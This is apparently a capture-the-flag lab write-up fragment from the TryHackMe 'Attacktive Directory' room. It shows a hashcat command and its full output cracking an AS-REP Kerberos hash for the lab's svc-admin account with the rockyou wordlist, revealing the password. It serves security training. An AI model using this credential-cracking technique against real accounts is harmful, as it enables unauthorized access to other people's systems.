Attacktive Directory room(TryHackMe)

IP 10.48.186.68

➢ Hash Cracked by Hashcat

──(kali123⊛kali)-[~]

└─$ hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt -O

hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

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* Device #01: cpu-haswell-12th Gen Intel(R) Core(TM) i5-1235U, 1456/2912 MB (512 MB allocatable), 2MCU

Minimum password length supported by kernel: 0

Maximum password length supported by kernel: 31

Minimum salt length supported by kernel: 0

Maximum salt length supported by kernel: 51

Hashes: 1 digests; 1 unique digests, 1 unique salts

Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Rules: 1

Optimizers applied:

* Optimized-Kernel

* Zero-Byte

* Not-Iterated

* Single-Hash

* Single-Salt

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 512 MB (2450 MB free)

Dictionary cache built:

* Filename..: /usr/share/wordlists/rockyou.txt

* Passwords.: 14344392

* Bytes.....: 139921507

* Keyspace..: 14344385

* Runtime...: 1 sec

$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:0f2048b2dc1069d6586002560e4e999a$3bc7082d233003f95bc7c a4c52a48da7d5d0a207df3323381aab629d68c9feeb701421ec869a1ad217469e9415073c25b0c5098 45156b13aff21be5c9a8a047e9ed76bf719aa98e9212a5a843f9a57b9f0550b56e42a7082aea98a14b5 1702330ebadab03f184eba6dafe2f2948dd7fcfe6064510337d24cb589caed9ffd38c83bc1206b2b3e0c a615afa04d8fd260ccfbac624d156e54b8362060bb6e32018fa9f57cb3fe7ee603617fc5013d57d70284 940bbb66bbad43d350385b5c5a003a7268f3556dd5c6fead459b55fa1cdf01bc715e5b866bbac50cb5 d76f6ac7ad712493e48a21784cad8170c0b5de5cc797fbcf:management2005

Session..........: hashcat

Status...........: Cracked

Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)

Hash.Target......: $krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:0f2048b2dc1...97fbcf

Time.Started.....: Fri Feb 27 13:58:50 2026 (8 secs)

Time.Estimated...: Fri Feb 27 13:58:58 2026 (0 secs)

Kernel.Feature...: Optimized Kernel (password length 0-31 bytes)

Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)

Guess.Queue......: 1/1 (100.00%)

Speed.#01........:   691.6 kH/s (2.51ms) @ Accel:1024 Loops:1 Thr:1 Vec:8

Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)

Progress.........: 5837979/14344385 (40.70%)

Rejected.........: 1179/5837979 (0.02%)

Restore.Point....: 5835931/14344385 (40.68%)

Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1

Candidate.Engine.: Device Generator

Candidates.#01...: manasxever -> man2119870

Hardware.Mon.#01.: Util: 92%

Started: Fri Feb 27 13:58:44 2026

Stopped: Fri Feb 27 13:58:59 2026